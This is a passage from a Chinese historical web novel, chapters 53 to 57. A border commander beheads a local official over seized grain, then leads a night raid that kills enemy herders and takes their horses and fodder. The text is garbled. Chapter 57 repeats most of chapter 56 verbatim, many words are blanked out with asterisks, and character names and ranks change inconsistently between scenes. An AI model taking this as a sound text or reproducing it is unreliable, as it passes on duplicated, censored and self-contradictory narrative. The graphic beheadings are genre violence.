“老子还就胡来了,你能如何?”
叶十三似笑非笑,缓缓又上前两步。
看到叶十三没有妥协的意思,肝胆俱裂的**尧向身后兵士们吼道:“拦住,给本大人拦住这个凶徒,拿下他押回镇上交由军部问罪。”
“还嘴硬?”
叶十三缓缓又抽出刀来,向上斜举着说道:“地方衙门,理应支持边防驻军,而不是见缝插针无度盘剥军资,该被问罪的,正是你这等贪得无厌的蛀虫。”
这话没错,边防驻军保疆守土,保卫边城百姓的安宁,地方衙门,必须体恤支持军队。
“芦河湾村是原住民,不是垦区军户,归地方衙门管辖,一应事宜,军部不得插手。”
五指缝里向外冒着血的**尧,继续瞪大了眼睛咬着牙争辩道:“抄没之物,应由地方衙门支配,如此大事,岂是你能定夺的?”
“呸!”
叶十三哪里还有耐心跟一个地方衙门的甲正掰扯这些?
唾了**尧一脸,又道:“何家开设赌场,欺压边城良善,巧取豪夺百姓田地,如此危害一方的恶霸行径,你地方衙门又在哪里?”
叶十三说着,又上前一步,继续说道:“而且何家,还私通元蒙,如此叛国之举,你说驻军管得管不得?”
私通元蒙?
叛国之举?
这顶帽子大了,恐怕地方衙门的一个甲正是戴不起来。
包庇之嫌,就是他的上司,都不敢明着偏袒。
只能用这种方法,左右为难叶十三而已。
这下好了,叶十三才不管这些,把“通敌”这顶帽子,硬砸了过来。
“你……”
一阵词穷的**尧,被噎得说不出话来。
权衡再三后,又恨恨说道:“那好,本甲正就给你这个千户一个面子,三成粮食,你装走就是了。”
说完,**尧忍着耳根处火辣辣的疼痛,转头向严阵以待的兵士们说道:“给他们三成的粮食。”
“晚了!”
叶十三笑了,缓缓转过身来,目光一扫自己带来的什长们,淡淡说道:“何家逆产,全归我驻军,胆敢觊觎一粒粮食和半亩田地者,就地正法。”
此言一出,犹如惊雷当头炸响。
九个什长,心头顿时一凛。
就连二十名借来的田兵,也纷纷亮出了兵器,准备捍卫他们来之不易的战果。
粮食?
他们不就是为粮食才来逼叶十三的吗?
现在粮食就在眼前,而且比他们期待中的数量还要庞大百倍。
九个什长面面相觑一阵,沙窝梁烽火台什长杨清明突然抽出刀来,暴吼道:“谁敢抢驻军的粮食,老子砍了他的脑袋。”
这一吼,交河埠烽火台的什长牛老四直接冲到偏院门口,挥起手中的刀,一双豹眼盯着开仓装粮的衙门兵士,吼道:“全都给老子退回去,胆敢违抗千户大人军令者,先问问老子手中的刀答应不答应?”
“咔嚓!”
刚从伍长被叶十三直接擢升为什长的五里营烽火台的杜力,回头向马车旁边的田兵们喊道:“还不快装粮,都愣着干什么?”
剩下的六个什长,也不得不拔出刀来,赶上前几步,在叶十三面前站成一排。
这一下,**尧慌了。
要是办砸了差事,就是回去,也没他的好果子吃。
何家的财产,在归公的问题上,地方衙门和军部一直在扯皮争抢。
这要是被叶十三他们抢了,地方衙门只好认栽,但他的上司却不会放过他这个甲正的。
要知道,何家平时没少给衙门的官员送钱,上面官员开的钱庄,粮行,背后都有何家在上供运行。
抄了何家,就等于是断了这些人的财路。
不行!
绝不能让叶十三得逞。
想到这里,**尧把心一横,用那只捂着耳根的血手,拔出刀来指着叶十三吼道:“千户大人,下官再求你一次,别逼人太甚,各退一步,你拿五成粮食可好?”
“粮食,老子全要,该滚的是你。”
叶十三笑了,笑得有些诡异,丝毫没把**尧的话当回事。
马成和丁威,已经指挥着田兵们把马车赶到何家大院门口,挡在了衙门兵士的前面。
“好啊!是你逼我的。”
看到协商无望,**尧眼里寒芒顿起,高举着刀向随从们喊道:“全都给我拿下,他们就三十二人,没什么可怕的。”
“原来是仗着人多?”
叶十三目光一瞥一百多个地方衙门的兵士,嘴角扬起一丝不屑,冷声道:“这就是你敢向本千户拔刀的底气?”
箭在弦上,不得不发。
脸色变得黑青的**尧,顾不得耳根还在向外渗血,咬着牙道:“你我兵力如此悬殊,别怪下官得罪了!”
“哈哈哈……”
叶十三
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缓缓抽出刀来,狂笑道:“几百**骑兵老子都不曾放在眼里,一口气**了上百人,就你们这些乌合之众,敢挡老子的刀?”
“刀?”
**尧双手握刀,目光一瞥叶十三手中的刀,轻蔑地一撇嘴:“就你那根破铁条,也好意思称刀?”
这货疯了,居然忘了,就是那根破铁条割下了他的一只耳朵。
俗话说得好,好了伤疤忘了疼。
但这伤疤还没好,还在往外渗着血水,疼痛还在钻心的继续着,可**尧已经忘了叶十三握着的是一把刀。
“那你尝尝它是不是刀?”
叶十三口中的“刀”字还没落地,手中的刀已经划过一条弧线后重新插入刀鞘。
双手握刀,正准备拼命一博的**尧,肩上的脑袋突然向一侧一歪。
同时,肉眼可见的一条红线,在**尧的脖子上慢慢变宽,随即,一片腥气扑鼻的人血就狂喷而出。
“咕咚!”
刀还在**尧的手中握着,身子已经向一侧倒下,那双眼睛,带着无比的惊恐还圆睁着。
“好刀……”
气若游丝的**尧,嘴唇一阵蠕动,说出一句话来,瞪着一双惊恐的眼睛顿时就咽了气。
“啊……”
一片惊呼中,地方衙门的兵士们,紧握着手中的各种武器,惊慌地连连后退。
“他……他……杀……杀了……甲正大人……”
地方衙门兵士中的一个什长长,磕磕巴巴地惊叫一句,率先扔下了手中的刀。
“扑通!”
什长就地跪了,魂飞魄散地望着叶十三,嘴唇哆嗦得说不出话来。
没人看见叶十三是如何出刀?
但他们在刚才的对峙中,却亲眼看到甲正**尧的一颗脑袋落地。
是和叶十三的话一起落地的。
**尧**,什长扔下兵器跪了,地方衙门的兵士们,顿时就乱成了一团。
“滚!”
慢慢收敛了笑意的叶十三,骤然暴喝一声,怒目瞪向眼前成百的地方衙门兵士。
“还不快滚?没听见千户大人的命令,你们耳朵都聋了?”
九个什长这下来劲了,纷纷又上前几步,把手中的刀齐齐指向那些惊慌失措的兵士们。
“千户大人息怒……”
内心骇怕到了极点的地方衙门兵士们,纷纷侧着身子从叶十三身边往外溜了出去。
叶十三缓缓转身,轻蔑的一瞥溜出何家大院的兵士们,朗声又道:“以下犯上者,死有余辜,再敢找老子的茬,先得问问自己的脑袋够不够硬?”
第54章 准备迎敌吧
场上气氛骤变之下。
衙门的兵士们,本来拉粮食的马车,拉着甲正**尧的尸体仓皇逃窜。
“千户大人请!”
不失机灵的马成,撕掉何家正屋的封条,把叶十三让在前面进了屋子。
“千户大人稍后,小的这就生火!”
丁威也不愚笨,立刻亲手动手,找来木炭,片刻间就生起一盆炭火。
不多时,冷得渗人的正屋,慢慢热乎了起来。
望着何家大院偌大的院子,叶十三改变了主意,缓缓说道:“粮食留下一半,另一半拿出两成给各烽火台,其余八成,分给两村驻军。”
“大人,为何不全部分发下去?”
沙窝梁烽火台什长杨清明,讪笑着上前又道:“留下一半在这里,镇上那些人要是惦记上了,恐怕麻烦不少啊!”
“惦记?”
叶十三目光一冷,厉声道:“怕是你在惦记吧?”
“不不,小的不敢!”
叶十三如此一问,惊得杨清名双手乱摆,急道:“小的绝不是这个意思,小的是说,这些粮食一次性发放到位,也免得以后分来分去的。”
“屁话!”
叶十三眼睛一翻,怒道:“何家的粮食,都是靠着开赌坊赢来的村民的田地所产,眼下各村百姓严重缺粮,镇上衙门接济不力,这些粮,还得在要紧关头接济百姓。”
说完,叶十三目光投向马成,道:“火速传令下去,辖区甲正,百夫长,全部何家大院来见我。”
叶十三心里清楚,这些粮食如果不及时分配下去,惦记的人还真不少。
包括这些什长们,他们眼里只有自己,哪有各村的缺粮百姓?
再说,赶跑衙门的人,自己截留何家的财产,这个还真不妥,毕竟地方衙门是有主政的权力,何家被抄之财,那可是已经归了公的。
如果把这另一半粮食分发给各村百姓,就是地方衙门闹到军部,那也挑不出多大的毛病。
手中有粮有钱,这个千户就名归实至。
不然,再大的军职,那也只是一顶毫无作用的纸糊高帽而已。
眼下,粮是有了,但钱还缺。
何家的钱,都在镇上钱庄,早有地方衙门接手了。
就赌坊和家里的那些备用银子,早让徐老六在抄家时给顺走了。
目前留下的,就是徐老六拉剩的粮食,还有何家的房产田产,镇里的买卖,自然已经让地方衙门接管了的。
假如让镇上的衙门再把封存的屯粮运走,留给叶十三的只有这个院子,还有那些田地了。
那些田地,还要分给无地可耕种的村民一些,要是镇里插手包租出去,他之前的一切部署,到头来还不是一场空?
想到这里,叶十三狠狠说道:“谁再敢打粮食和田地的主意,老子让他脑袋搬家。”
这狠话,当然是给那些什长们听了。
不然,自己真得白忙乎一场了。
闷声发了财的徐老六,自当是另外一回事,但无论如何,是不能让地方衙门的那帮杂碎们得了这天大的便宜。
叶十三的强硬,见好就收的什长们顿时喜笑颜开,就眼下能分到的粮食,也够过这个冬了。
就是他们手下的烽燧兵们,大多也是来自各村,叶十三分给村民粮食,这也解了烽燧兵们的担忧。
“千户大人高见!”
不管是真情还是假意?什长们纷纷表示赞同。
不大时候,该给各烽火台的粮食都装车完毕。
什长们千恩万谢,喜滋滋的和田兵们押着粮车离开何家大院。
就在这些人离开后,叶十三让之前留守在何家大院值守的几个田兵,把何家后院仅有的几只鸡给宰了,炖了满满一大锅后,就着煮好的干饭,狼吞虎咽地吃了起来。
“千户大人!”
马成望了望满院坚实的房屋,向叶十三殷勤说道:“以后,大人就可在此公务了,不必住营房遭罪了,老夫人和小姐,也该接过来一起住这里了。”
这一点,叶十三却没想到。
他的心思,一直在那些封存了的屯粮和田地上。
如何安顿叶刘氏和彩儿,他真还没有想好。
“大人,马成说得没错!”
丁威也抓住时机,向叶十三又道:“这芦河湾村所在,相对安全一些,老夫人和小姐住在沙窝里,那地方离岘口太近,再说,何家这一院的房子,比营房强多了。”
话是不错,但叶十三还是摇了摇头,一门心思地往嘴里扒拉着饭菜。
也就在这个时候,两个百夫长和六个甲正到了。
辖区的几个村子,只有离黄羊岘烽火台横向距离最近的落雁坡村、鹞子岭村,由两个百夫长各带一支兵马驻扎。
“鹞子岭驻军百夫长戚虎,参见千户大人!”
“落
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雁坡驻军百夫长蔡云,参见千户大人!”
“甲正曲三更……甲正田狗子……参见千户大人。”
坐上了千户位子,考量事情的角度自然就变了。
望着眼前躬身拱手的甲正和百夫长们,叶十三这才觉得自己真是个军官了。
下千户!
要是放在前世的现代,该是个何等军职呢?
班长,排长,营长……连长……团长?
这千户中的下千户,应该是个副团了吧?
行了!
就是顺利从军事指挥学院毕业,到了部队,最多也就是个营长,这魂穿古代,反而**比较到位。
“都到了!”
叶十三一瞥大锅中的炖鸡肉,点头道:“坐,先用饭。”
一说吃饭,闻着了肉味的甲正和百夫长们,顿时神情一震,这年头,吃饱就是最高礼遇,何况还有肉吃。
“谢大人!”
眼前八人又是拱手道谢,毫不客气地坐了下来闷头开吃。
这帮鸟人,这是多久没吃过肉了?
那吃相,看得叶十三直皱眉头。
这些吃相难看的人,就是他眼下的班底。
“说说,你们手下,究竟有多少可战之兵?”
叶十三冷不丁一句,惊得两个百夫长差点打翻了碗。
“回大人话!”
落雁坡村驻军甲正蔡云抬起头来,鼓着腮帮子硬把满嘴的鸡肉咽下,道:“小的所带兵马,大概,大概有二百七八。”
“鹞子岭驻军兵马数,还不足三百。”
同样忙着狼吞虎咽的鹞子岭驻军百夫长戚虎,也忙不迭更地补了一句。
“你们身为百夫长,想好了再回答本千户!”
叶十三的眉头拧在了一起,他知道这俩货在虚报人数。
“可能是二百七十五人。”
“应该是二百六十人。”
二人闻言,硬着头皮又补了一句。
草!
驻军名册只有五百兵数,实际上还不足八成,到着这俩货的嘴里,反而冒出来两成之多。
叶十三耐着性子,把视线缓缓投向六个甲正。
这一瞅,惊得停止了吞咽的甲正们怵然低头,不敢与叶十三的目光对视。
看来,不敲打敲打,这俩货是不说实话了。
“那好!”
叶十三站了起来,目光从每一个人的脸上扫过,道:“大雪将至,准备迎敌吧!”
第55章 这黑天半夜的,跟谁战斗?
此时叶十三的话,有着足够的震慑力。
这份震慑力,不光是来自他的下千户身份,还有那把破铁条般的刀。
在别人眼里,那把破铁条,根本就算不上刀。
就是勉强算作刀的话,那也是把残刀。
但他们亲眼看到,那把残刀,不但割掉了地方衙门甲正**尧的一只耳朵,还砍掉了**尧的脑袋。
一切缘由,皆因**尧顶撞上司,又蔑视上司手中的残刀。
用**后,叶十三望着整装待发的兵士们,从怀里拿出一份图纸在桌上铺开。
“鹞子岭东北面有一处隘口,持续再向北四十里,有一处**的马场。”
叶十三指着图纸说完,目光一扫眼前的甲正和百夫长们。
“因为是马场,就没有粮食囤积,所以**部署的兵力很弱,但喂马的豆料却不少,**能骑善射,战马的待遇不低。”
说完,叶十三把目光投向戚虎,道:“你,明白了吗?”
话都说到这份上了,戚虎哪能不懂?
要是再不懂,他这个百夫长,就该挪窝了。
“千户大人,您的意思是?**军马囤积地,定是储存了不少的豆料?”
“嗯!”
叶十三点点头,又道:“豆料肯定不少,时值严冬,军马都是圈养,喂豆料是必须的。”
戚虎眼里亮光一闪,兴奋道:“守军少,豆料多,我们……”“**能骑马作战,我们也能骑着战马打仗!”
叶十三补充了一句,然后率先出了屋子。
在场的甲正和百夫长们都懂了。
**,抢豆料,也抢战马。
“跟上!”
看到叶十三身先士卒,戚虎大手一挥,低吼着让挑选出来的兵士们跟紧了。
一行八十人,趁着夜色下了鹞子岭,穿过一片松林,向预定的**马场一阵急行军。
一个时辰后,月光升起。
走在最前的叶十三停了下来,望着若隐若现的栅栏围场,低声道:“有狗!”
这一提醒,众人隐约听到一两声犬吠。
**的狗,是体型高大的獒犬,可与狼群对抗,而且数量庞大,是牧场必不可少的物种。
“如何把狗引开再射杀?”
叶十三望着马成,似乎从马成的脸上寻出一个满意的答案来。
“大人!”
马成挠挠后脑勺,低声道:“要是有羊腿骨诱惑,就可把恶狗引出马场,**已经来不及了,只有小的们放箭射杀。”
屁话!
等于没说。
人都没一口吃的,还有羊腿骨喂狗?
但凡军粮够烧糊糊,也不至于如此冒险来劫马场。
叶十三狠瞪马成一眼,愠怒道:“那还不如摆一桌羊肉宴,请这些狗再别叫了。”
这时候,有一名体型瘦小的兵卒站了出来,向叶十三说道:“禀千户大人,小的有办法把那些狗诱出至少二里地。”
“你有办法?”
叶十三望着眼前身材瘦小,但不失机灵的兵卒,道:“要是能诱杀成功,本千户提升你当甲正。”
甲正?
那可是能领兵二三十的人物了,比什长都要高一级。
这一下,兵卒的眼睛亮了,连忙拱手谢道:“赏小的一袋粮食就足矣,小的不敢奢想当什么!”
“好!”
叶十三拍拍兵卒消瘦的肩头,转头向马成说道:“你带几个步弓手,跟他去。”
接下来,叶十三又对其他人做了分工。
“蔡云听令,带两名甲正,三十名兵士,摸进仓库装豆料,但凡能吃的东西,能装多少就装多少。”
“戚虎听令,带两名甲正,三十名兵士,去围栏牵马,配合蔡云驮完豆料后,剩下的军马能赶多少就赶多少出来。”
“剩下的两名甲正,十名兵士,跟我去营房。”
刚安排完毕,就听到马成他们所去的方向,传来一阵“嗷嗷”的狼嚎声。
狼嚎声刚停,又有“汪汪”的犬吠传来。
“嗷嗷……嗷……”
“汪……汪汪……”
瘆人的狼嚎,和狗低沉的咆哮,交织在一起彼此起伏。
霎时间,马场方向,顿时就响起了一片高低不一的“汪汪”声。
“嘿!真**是个人才。”
叶十三笑了,万没想到,这个毫不起眼的兵卒,还**有这一手。
这时候,一名年纪稍大些的兵卒,笑着向叶十三说道:“吴六子七这小子,会的不光是这些,那可是咱鹞子岭驻军中有名的偷鸡贼。”
偷鸡贼?
草!
这是什么个桂冠?
“哦!”
闻言之下,叶十三一愣。
“是这样!”
老兵卒又得意地说道:“这小子偷鸡,鸡压根就不叫唤,乖乖的让吴六子这小子给偷回来顶了锅盖。”
“那算什么?”
另一名兵卒凑了过来,瞥了老卒一眼,道:“偷只家养的鸡算不了本事,邪乎的是吴六子这小子,夜间在树林里捕捉野鸡这些,都如探囊取物般容易,那些野鸡野鸽,主动站他手中举着的木棍上乖乖被逮了回来……”
吴六子?
好,这个名字,老子记住了。
“反正,这小子无论抓什么?都是一抓一个准。”
另一名兵卒又补了一句。
就在叶十三听得津津有味的时候,围栏方向的犬吠声,逐渐向马成们的方向移动了过去。
成了!时机已到。
叶十三站
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了起来,沉声向地上蹲着的兵卒们说道:“行动,按原计划进行,速度要快,但不能慌乱,得手后,原路返回。”
“是!”
两个百夫长齐齐低声应答,然后一挥手,各自带着分配好了的兵士们,弯下腰来迅速向各自的目标位置摸了过去。
叶十三看着眼前跟着自己的两名甲正,低声道:“你们二人,各带五个兵士,跟我身后,由我搏杀时漏下的**,即刻补射或者**,但凡视线内的敌人,不可放过一人,务必尽数歼灭……”
“最好,把动静闹大一点,尽量把马场所有的**,都给引到我们这边过来。”
叶十三又补充一句,然后拔出刀来率先摸向营房。
在离营房栅栏门两丈时,突然一名光身披着毡片的**,拿着一把长柄镰刀,出来毡帐四处查看着。
“奇怪!”
**借着月光,四处瞭望着自语道:“好久都不见狼群过来马场,今夜这是怎么了?”
接着,已经穿好了皮袍的**接二连三的从各个毡帐出来,有的举着火把,有的提着弯刀,也有提着长柄镰刀的,一起四下查看起来。
“嗷嗷”的狼嚎声时远时近,“汪汪”的狗叫声,也是忽高忽低。
“还好,狼群没来及靠近我们的马,就被我们的狗赶跑了。”
一个**听了听动静,辨明了狼嚎的方向后,又向另外几人说道:“我们追过去看看,千万不能让狼把给狗吃了。”
这时候,各毡帐里出来是**,足有好十几个。
“咣咣咣……”
这些**举起火把,还有一个**使劲敲着一面锣,用来驱赶狼群。
**们高声叫喊着,拥簇着出了营门,一路向马成他们的方向追了过去。
“好!”
这一景象,大出叶十三的预料。
原本,他是想和上次夜袭驻军牧场一样,把**杀死在毡帐里面,好让另外几人有足够的时间和空间抢粮抢牲口。
这下好了,省事不少。
用不着挨个搜查毡帐**。
“摸过去跟上,见机歼敌。”
叶十三一声令下,自己率先猫着腰紧跟了过去。
在离马场营地半里处,叶十三突然向野猫一样跃起,手中的残刀挥向一名**的后脖颈。
“扑通!”
走在最后面的一个倒霉鬼,来不及喊一声疼,霎时就身首分离。
“小心脚下,别绊倒了。”
前面听到动静的一名**,回头提醒了一句。
突然,提醒同伴的**,霎时惊叫起来,“不好,敌袭,有贼!”
刚转身的**,映入眼帘的是十几个举着刀弓的人影,正从他们身后劫杀了过来。
第56章 鹞子岭有名的偷鸡贼
“嗖嗖……”
叶十三身后,有两支箭射出。
“啊……”
一声惨叫过后,扔掉了火把和弯刀的一个鞑子,双手捂着眼睛倒地惨叫不已。
看来,两支射出的箭,一支走空,一支射中了一名鞑子的眼睛。
“跟他们拼了!”
带头的鞑子暴吼一声,抡起手中的弯刀,向后面的正举着弓箭的一名兵卒扑了过来。
“噗嗤!”
突然,高高跃起的鞑子,随即就直线坠落地面后,后背喷出一股血箭狂奔两步,身子猛然一晃,然后缓缓倒地。
他的身体上,一个血洞从前胸直通后背。
叶十三就像一只蝙蝠,横冲直撞乱飞一气。
“啊……”
惨叫声,闷哼声,兵刀尖锐的撞击声,霎时就交织在一起。
一个接一个的鞑子,在叶十三幽灵一样的游走中,不断地惨叫、倒下、死去。
两个甲正,十名兵士,都围成了个半圆,傻呆呆地站着看叶十三挥刀砍杀。
他们都被月光下叶十三的身形和刀法震惊了,这哪里是刀术?
倒像是一群人在眼前捉迷藏玩。
“都愣着干什么?”
叶十三收了刀,冲着被惊呆了的同伴又吼道:“把他们的靴子,革甲皮袍都脱了带走,兵器也不要落下。”
这一声吼,回过神来的同伴们,即刻就动起手来。
鞑子的靴子,革甲,皮袍,还有散落在地的各种兵器,全都被收集起来捆扎在一起。
“嘎嘎……哇呜……”
一阵野鸭的声音,还有叫春的猫发出的声音,由远而近地传了过来。
“千户大人,是吴六子他们得手了。”
一名兵卒笑着,赶快从地上捡起一支还没熄灭的火把举起来挥了几下。
草!
这小子,真他娘的是个人才,我说这大冬天的,哪有家猫在野外叫春的?
就是野鸭,这一片没芦苇荡,没有水域,大半夜的叫什么叫?
叶十三咧着嘴笑了,目光一扫地上的鞑子尸体,足有二十具之多。
剩下一个鞑子捂着眼睛翻滚着惨叫个不停,也被一名甲正补刀杀了。
不多时,五条人影向这边飞奔过来。
定睛一看,叶十三乐了。
马成在内的五人,身上都背着不少元蒙獒犬的尸体。
元蒙獒犬体型高大,被马成几个倒背在背上时,脑袋都拖在了地上。
其中一名兵卒,身上足足背着三条,累得张大了嘴直喘气。
“你他娘的真是个人才!”
叶十三走动吴六子面前,笑骂了一句。
吴七咧着嘴傻笑着,道:“大人,这下咱有狗肉吃了,冬九吃狗肉,那可是大补啊!”
“行了!”
叶十三一扬手,沉声道:“此地不可久留,快去围栏那边赶马。”
这时候,由于为数不多的鞑子,都被调虎离山去追狼群,仓库和围栏这边,已经空无一人。
尽管如此,但蔡云和戚虎还是慌乱不堪,急急忙忙地打好了驮子,然后赶着剩下的军马就开始撤退。
等叶十三们赶到栅栏入口的时候,成群的军马已经被赶出了围栏。
“好,收兵!”
叶十三大叫一声,拦住了围栏中还没被赶出来的军马,喊道:“快,每人拉住一匹骑了,火速撤离此地。”
好在这些兵卒们身手和经验还可以,没有马缰和马鞍的军马,也被他们揪住马鬃就翻身上了马背。
“俅俅……”
大地一阵震动,尘土在月光下飞扬起来。
不到一个时辰,叶十三们已经回到了鹞子岭地界。
“千户大人,天快亮了。”
抬头看着黑下来的夜空,戚虎吩咐兵士们点燃松明。
天亮前的夜,会黑上那么一阵。
虽然到了鹞子岭地界,但松林遍布的这一片区域,是最容易迷路的。
好在没有发现追兵,几乎所有的人,都把精力放在对马群的归拢上。
在夜间,最容易使马匹走失。
到了嘴边的肉,没有人愿意由此白白丢掉。
三四十支松明被点燃,映着一张张兴奋不已的脸。
“放慢速度,小心赶路,切不可丢失任何战利品。”
骑在马背上的叶十三,又一次叮嘱着兵卒们。
围栏内外跑失跑散的军马,那不算数,但赶了四十多里路赶回来的军马,哪怕是一袋豆料,叶十三都不想轻易丢失。
一炷香后,鹞子岭驻军大营沸腾了。
没有被挑选上的兵士们,纷纷跑出营房,一脸吃惊地望着栅栏里成群的军马。
此时,天色已经亮了起来。
几乎所有的兵士们,都围在马群外面“啧啧”感叹不已。
“禀千户大人!”
一脸汗水津津的戚虎,眼里满是兴奋和崇敬,来到叶十三面前躬身一礼,道:“此战大捷,共获豆料一百六十袋,军马总数三百六十七匹。”
话音一落,蔡云的脸绿了。
一百六十袋豆料,那可是一笔不小的收获。
每袋豆料按六十斤算,这一百六十袋,那就是九千六百斤啊!
这上万斤的豆料,能解决多少人的口粮。
“好!”
叶十三点点头,往火盆边的一张椅子上仰头一靠,道:“过一遍筛,好的人吃,次的喂马。”
“遵命!”
顾不上歇气的戚虎,忙着又吩咐手下的百夫长去安排。
“带吴六子过来!”
叶十三一瞥马成,让把吴六子喊过来见他。
片刻后,正在院子里忙着剥狗皮的吴六子,被带到叶十三面前。
叶十三的目光,又一次从下到上打量了一番这个瘦小的兵卒。
“多大了?”
“回千户大人话,小的今年刚满二十一。”
“你在鹞子岭驻军中,是何军职?”
“回千户大人话,小的是一名步军马弁。”
草!
和老子一样,也是从底层干起的兵卒。
叶十三把视线,从吴六子脸上,转移到一旁的戚虎身上,道:“即刻起,步军马弁,晋升骑兵探马甲正。”
“啊……”
没等戚虎应答,吴六子自己被惊得张口结舌。
这一个底层的步军马弁,和骑兵探马甲正,那可是最少三级的距离。
“混账,还不赶快谢过千户大人?”
戚虎直接一脚,踹在吴六子的屁股上,霎时把瘦小的吴六子就给踹得当场跪了。
“谢千户大人,谢百夫长大人!”
一脸喜色的吴六子,忙不迭更得磕起头来。
这一幕,引得屋外围观的兵士们,脸上露出无比的羡慕。
一旁的蔡云,嘴唇蠕动半天,就是说不出话来。
腹中酝酿一阵后,终于硬起头皮,走到叶十三面前深躬一礼,道:“千户大人,我落雁坡驻军,也是严重缺粮……”
“缺粮?”
叶十三一怔,好像听到了一个不可置信的话题,半眯着眼睛说道:“那好办,你也参与了,也看到了,这粮食不就有了?”
这话,让蔡云差点当场喷血。
面颊一抽,蔡云又讪笑道:“落雁坡那边,环境和这鹞子岭不同,和元蒙接壤之地没有马场啊!”
“行了!”
叶十三摆摆手,不耐烦道:“活人不能让尿憋死,动动脑子吧!”
说完,叶十三笑了,又道:“不过,你几个也算有功,待会吃完狗肉,给你一千斤豆料,一百匹战马。”
“不过!”
叶十三停顿片刻,拉下脸来又道:“虚报兵数的事,本千户就不追究了,既然给了你一百匹好马,你得给我挑选出至少一百名骑兵,不然,老子剥了你的皮!”
闻言之下,心头骤然一凛的蔡云,急忙拱手道:“谢千户大人,谢千户大人……”
第57章 吴六子,你他娘的真是个人才
“嗖嗖……”
叶十三身后,有两支箭射出。
“啊……”
一声惨叫过后,扔掉了火把和弯刀的一个鞑子,双手捂着眼睛倒地惨叫不已。
看来,两支射出的箭,一支走空,一支射中了一名鞑子的眼睛。
“跟他们拼了!”
带头的鞑子暴吼一声,抡起手中的弯刀,向后面的正举着弓箭的一名兵卒扑了过来。
“噗嗤!”
突然,高高跃起的鞑子,随即就直线坠落地面后,后背喷出一股血箭狂奔两步,身子猛然一晃,然后缓缓倒地。
他的身体上,一个血洞从前胸直通后背。
叶十三就像一只蝙蝠,横冲直撞乱飞一气。
“啊……”
惨叫声,闷哼声,兵刀尖锐的撞击声,霎时就交织在一起。
一个接一个的鞑子,在叶十三幽灵一样的游走中,不断地惨叫、倒下、死去。
两个甲正,十名兵士,都围成了个半圆,傻呆呆地站着看叶十三挥刀砍杀。
他们都被月光下叶十三的身形和刀法震惊了,这哪里是刀术?
倒像是一群人在眼前捉迷藏玩。
“都愣着干什么?”
叶十三收了刀,冲着被惊呆了的同伴又吼道:“把他们的靴子,革甲皮袍都脱了带走,兵器也不要落下。”
这一声吼,回过神来的同伴们,即刻就动起手来。
鞑子的靴子,革甲,皮袍,还有散落在地的各种兵器,全都被收集起来捆扎在一起。
“嘎嘎……哇呜……”
一阵野鸭的声音,还有叫春的猫发出的声音,由远而近地传了过来。
“千户大人,是吴六子他们得手了。”
一名兵卒笑着,赶快从地上捡起一支还没熄灭的火把举起来挥了几下。
草!
这小子,真他娘的是个人才,我说这大冬天的,哪有家猫在野外叫春的?
就是野鸭,这一片没芦苇荡,没有水域,大半夜的叫什么叫?
叶十三咧着嘴笑了,目光一扫地上的鞑子尸体,足有二十具之多。
剩下一个鞑子捂着眼睛翻滚着惨叫个不停,也被一名甲正补刀杀了。
不多时,五条人影向这边飞奔过来。
定睛一看,叶十三乐了。
马成在内的五人,身上都背着不少元蒙獒犬的尸体。
元蒙獒犬体型高大,被马成几个倒背在背上时,脑袋都拖在了地上。
其中一名兵卒,身上足足背着三条,累得张大了嘴直喘气。
“你他娘的真是个人才!”
叶十三走动吴六子面前,笑骂了一句。
吴七咧着嘴傻笑着,道:“大人,这下咱有狗肉吃了,冬九吃狗肉,那可是大补啊!”
“行了!”
叶十三一扬手,沉声道:“此地不可久留,快去围栏那边赶马。”
这时候,由于为数不多的鞑子,都被调虎离山去追狼群,仓库和围栏这边,已经空无一人。
尽管如此,但蔡云和戚虎还是慌乱不堪,急急忙忙的打好了驮子,然后赶着剩下的军马就开始撤退。
等叶十三们赶到栅栏入口的时候,成群的军马已经被赶出了围栏。
“好,收兵!”
叶十三大叫一声,拦住了围栏中还没被赶出来的军马,喊道:“快,每人拉住一匹骑了,火速撤离此地。”
好在这些兵卒们身手和经验还可以,没有马缰和马鞍的军马,也被他们揪住马鬃就翻身上了马背。
“俅俅……”
大地一阵震动,尘土在月光下飞扬起来。
不到一个时辰,叶十三们已经回到了鹞子岭地界。
“千户大人,天快亮了。”
抬头看着黑下来的夜空,戚虎吩咐兵士们点燃松明。
天亮前的夜,会黑上那么一阵。
虽然到了鹞子岭地界,但松林遍布的这一片区域,是最容易迷路的。
好在没有发现追兵,几乎所有的人,都把精力放在对马群的归拢上。
在夜间,最容易使马匹走失。
到了嘴边的肉,没有人愿意由此白白丢掉。
三四十支松明被点燃,映着一张张兴奋不已的脸。
“放慢速度,小心赶路,切不可丢失任何战利品。”
骑在马背上的叶十三,又一次叮嘱着兵卒们。
围栏内外跑失跑散的军马,那不算数,但赶了四十多里路赶回来的军马,哪怕是一袋豆料,叶十三都不想轻易丢失。
一炷香后,鹞子岭驻军大营沸腾了。
没有被挑选上的兵士们,纷纷跑出营房,一脸吃惊地望着栅栏里成群的军马。
此时,天色已经亮了起来。
几乎所有的兵士们,都围在马群外面“啧啧”感叹不已。
“禀千户大人!”
一脸汗水津津的戚虎,眼里满是兴奋和崇敬,来到叶十三面前躬身一礼,道:“此战大捷,共获豆料一百六十袋,军马总数三百六十七匹。”
话音一落,蔡云的脸绿了。
一百六十袋豆料,那可是一笔不小的收获。
每袋豆料按六十斤算,这一百六十袋,那就是九千六百斤啊!
这上万斤的豆料,能解决多少人的口粮。
“好!”
叶十三点点头,往火盆边的一张椅子上仰头一靠,道:“过一遍筛,好的人吃,次的喂马。”
“遵命!”
顾不上歇气的戚虎,忙着又吩咐手下的百夫长去安排。
“带吴六子过来!”
叶十三一瞥马成,让把吴六子喊过来见他。
片刻后,正在院子里忙着剥狗皮的吴六子,被带到叶十三面前。
叶十三的目光,又一次从下到上打量了一番这个瘦小的兵卒。
“多大了?”
“回千户大人话,小的今年刚满二十一。”
“你在鹞子岭驻军中,是何军职?”
“回千户大人话,小的是一名步军马弁。”
草!
和老子一样,也是从底层干起的兵卒。
叶十三把视线,从吴六子脸上,转移到一旁的戚虎身上,道:“即刻起,步军马弁,晋升骑兵探马甲正。”
“啊……”
没等戚虎应答,吴六子自己被惊得张口结舌。
这一个底层的步军马弁,和骑兵探马甲正,那可是最少三级的距离。
“混账,还不赶快谢过千户大人?”
戚虎直接一脚,踹在吴六子的屁股上,霎时把瘦小的吴六子就给踹得当场跪了。
“谢千户大人,谢百夫长大人!”
一脸喜色的吴六子,忙不迭更得磕起头来。
这一幕,引得屋外围观的兵士们,脸上露出无比的羡慕。
一旁的蔡云,嘴唇蠕动半天,就是说不出话来。
